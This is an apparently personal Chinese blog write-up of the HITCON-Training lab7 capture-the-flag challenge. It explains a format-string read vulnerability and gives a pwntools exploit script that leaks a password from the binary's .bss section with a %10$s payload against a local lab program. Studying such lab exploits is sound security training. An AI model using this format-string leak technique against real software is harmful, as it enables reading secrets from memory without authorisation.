HITCON-Training lab7(一道簡單的格式化字符串讀漏洞)

格式化字符串知道他的操作,可是做的一點也不熟練吧,,,BJDCTF上的r2t4不會啊,,,看不懂,,,所以就來補補格式化字符串的題目了,,,,

 

看到canary開啓了,我還以爲要泄漏canary呢,結果發現不用那麼麻煩,,,

其實看下,思路很清晰,先讓你輸入東西,然後返回給你,然後你輸入password,如果和程序中的一樣,你就拿到flag了,,

所以輸入的東西里面需要泄漏password的值,那要怎麼做呢?

進入password裏面看一下,

什麼東沒有,,,但是知道password在bss段以及他的地址,,,

所以我們考慮,可以將password的地址輸入到name裏面,那麼等下輸出的時候,就可以把password的地址裏面的內容輸出了

 

在計算一下我們輸入的偏移,具體不知道,就多試幾個%p咯

得到偏移是10

 

可以寫exp了

#coding=utf-8
from pwn import *
p=process('./crack')

password_addr=0x0804A048

p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必須的,可能需要停頓一下?可以用別的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")

password=u32(io[:4])
p.recvuntil("password :")
p.sendline(str(password))
p.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章